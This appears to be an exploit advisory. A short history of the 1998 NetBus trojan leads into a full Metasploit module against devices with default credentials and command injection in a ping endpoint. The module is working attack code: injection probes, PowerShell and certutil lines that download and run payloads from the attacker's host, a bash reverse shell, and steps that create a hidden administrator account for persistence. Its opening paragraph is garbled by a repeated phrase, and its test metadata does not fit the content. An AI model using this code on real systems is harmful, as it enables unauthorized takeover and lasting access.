Netbus Backdoor 1.7, released in 1998, was a notorious Remote Netbus Backdoor 1.7, released in 1998, was a notorious Remote Access Trojan (RAT) designed for Windows systems. It enabled an attacker to achieve full Remote Code Execution (RCE) on a compromised machine.

Once the "server" component was installed on a victim's PC, it would listen on a specific port (commonly 12345). An attacker, using the "client" application, could connect to this listening server. This connection granted them comprehensive control, allowing arbitrary commands and programs to be executed remotely.

Essentially, the RCE was the *designed functionality* of Netbus, not an exploit of a software flaw. Capabilities included file management, screen capture, webcam control, keyboard logging, and system shutdowns. Netbus 1.7 became a prime example of early malware demonstrating powerful, unauthorized remote control.

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| # Title : Netbus Backdoor 1.7 From Legacy to Modern IoT Risks Full RCE Threat |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : System built?in component. No standalone download available |
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[+] References : https://packetstorm.news/files/id/213263/ & MVID-2025-0703

[+] Summary : This document traces the evolution of a Metasploit module concept from an initial theoretical/historical analysis of the 1998 NetBus backdoor to a practical,
modern exploit module targeting insecure credential storage vulnerabilities.
The journey highlights critical distinctions between academic research modules and production-ready exploits.

[+] Evolution of Exploitation Techniques :

1998 NetBus Model
?
Core Vulnerability: Insecure Credential Storage
?
Modern Manifestations:

? IoT devices with default passwords
? Web admin panels with hardcoded credentials
? Industrial control systems with backdoor accounts
?
Modern Exploitation Methods:

? Authentication bypass ? Command injection
? File upload ? Remote code execution
? Privilege escalation ? Persistent access

[+] POC :

##
# This module exploits the "Insecure Credential Storage" vulnerability in modern systems
# Similar to the NetBus principle but in modern web applications
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'IoT Device Backdoor Credential RCE',
'Description' => %q{
This module exploits two common vulnerabilities in IoT devices and embedded systems:
1. Insecure credential storage (default/static passwords)
2. Command injection via system management interface

The module simulates a realistic scenario similar to NetBus but in a modern context.
},
'Author' => [
'indoushka',
'Based on NetBus research by John Page (hyp3rlinx)'
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password'],
['CWE', '798'], # Use of Hard-coded Credentials
['CWE', '78'], # OS Command Injection
['TTP', 'T1078'], # Valid Accounts
['TTP', 'T1059'] # Command and Scripting Interpreter
],
'Platform' => ['linux', 'unix', 'win'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE],
'Targets' => [
['Linux (x86/x64)', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64] }],
['Linux (ARM)', { 'Platform' => 'linux', 'Arch' => ARCH_ARMLE }],
['Windows', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64] }]
],
'Privileged' => true,
'DisclosureDate' => '2023-01-01',
'DefaultTarget' => 0
))

register_options([
OptString.new('TARGETURI', [true, 'Base path to the vulnerable endpoint', '/']),
OptString.new('USERNAME', [true, 'Default/backdoor username', 'admin']),
OptString.new('PASSWORD', [true, 'Default/backdoor password', 'admin']),
OptString.new('BACKDOOR_USER', [false, 'Username to add for persistence', 'backdoor']),
OptString.new('BACKDOOR_PASS', [false, 'Password for the new user', 'P@ssw0rd123!'])
])
end

def check
# Step 1: Check for default credentials
print_status("Checking for default credentials...")

res = send_login_request

if res && res.code == 200 && res.body.include?('success')
return Exploit::CheckCode::Vulnerable
elsif res && res.code == 401
return Exploit::CheckCode::Safe
end

Exploit::CheckCode::Unknown
end

def exploit
print_status("Attempting to exploit insecure credential storage...")

# 1. Authenticate using insecure credentials
unless authenticate
fail_with(Failure::NoAccess, 'Authentication failed')
end

print_good("Successfully authenticated with default credentials!")

# 2. Use appropriate execution method based on target system
case target['Platform']
when 'linux'
exploit_linux
when 'win'
exploit_windows
else
exploit_generic
end
end

private

def send_login_request
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1)'
}
})
end

def authenticate
print_status("Authenticating as #{datastore['USERNAME']}:#{datastore['PASSWORD']}")

res = send_login_request

if res && res.code == 200
# Check for authentication success in response
if res.body.include?('success') || res.body.include?('dashboard') || res.get_cookies.include?('session')
@auth_cookies = res.get_cookies
return true
end
end

false
end

def exploit_linux
print_status("Target is Linux, using command injection...")

# Method 1: Direct Command Injection
if try_command_injection
return
end

# Method 2: Command Stager (to upload and execute payload)
print_status("Attempting command stager delivery...")

execute_cmdstager(
flavor: :curl,
delay: 0.5
)
end

def exploit_windows
print_status("Target is Windows, using PowerShell/Command Prompt...")

# 1. Try PowerShell
powershell_cmd = "powershell -c \"IEX(New-Object Net.WebClient).DownloadString('http://#{datastore['LHOST']}:#{datastore['SRVPORT']}/shell.ps1')\""

if execute_command(powershell_cmd)
return
end

# 2. Try CertUtil (common alternative in Windows)
certutil_cmd = "certutil -urlcache -f http://#{datastore['LHOST']}:#{datastore['SRVPORT']}/payload.exe C:\\Windows\\Temp\\payload.exe && C:\\Windows\\Temp\\payload.exe"

execute_command(certutil_cmd)
end

def exploit_generic
print_status("Using generic exploitation method...")

# Direct command execution to return Shell
cmd = "bash -c 'bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1'"

execute_command(cmd)
end

def try_command_injection
print_status("Testing for command injection...")

test_cmds = [
'; id;',
'| id |',
'`id`',
'$(id)',
'|| id ||'
]

test_cmds.each do |injector|
cmd = "ping #{injector}"
if execute_command(cmd, check_pattern: 'uid=')
return true
end
end

false
end

def execute_command(cmd, opts = {})
uri = normalize_uri(target_uri.path, 'admin', 'ping.php')

# Inject command into parameter
payload = {
'host' => "127.0.0.1 #{cmd}",
'count' => '1'
}

res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'cookie' => @auth_cookies,
'vars_post' => payload,
'timeout' => 5
})

if opts[:check_pattern] && res && res.body.include?(opts[:check_pattern])
print_good("Command injection successful!")
print_line("Output: #{res.body}")
return true
end

false
rescue ::Exception => e
print_error("Error executing command: #{e.message}")
false
end

# Add user for persistence (Backdoor)
def add_backdoor_user
return unless datastore['BACKDOOR_USER'] && datastore['BACKDOOR_PASS']

print_status("Adding backdoor user #{datastore['BACKDOOR_USER']}...")

case target['Platform']
when 'linux'
cmds = [
"useradd -m -s /bin/bash #{datastore['BACKDOOR_USER']}",
"echo '#{datastore['BACKDOOR_USER']}:#{datastore['BACKDOOR_PASS']}' | chpasswd",
"usermod -aG sudo #{datastore['BACKDOOR_USER']} 2>/dev/null || usermod -aG wheel #{datastore['BACKDOOR_USER']} 2>/dev/null"
]

when 'win'
cmds = [
"net user #{datastore['BACKDOOR_USER']} #{datastore['BACKDOOR_PASS']} /add",
"net localgroup administrators #{datastore['BACKDOOR_USER']} /add"
]
end

cmds.each { |cmd| execute_command(cmd) }

print_good("Backdoor user added successfully!")
end

def on_new_session(client)
super

# After obtaining session, add backdoor user
add_backdoor_user if client.type == 'meterpreter' || client.type == 'shell'

# User tips
print_good("Tips for post-exploitation:")
print_line("1. Check system info: cat /etc/os-release || systeminfo")
print_line("2. Look for interesting files: find / -type f -name '*.txt' -o -name '*.conf' 2>/dev/null")
print_line("3. Check network connections: netstat -antup || ss -tunap")

if datastore['BACKDOOR_USER']
print_line("4. Backdoor credentials: #{datastore['BACKDOOR_USER']} / #{datastore['BACKDOOR_PASS']}")
end
end
end

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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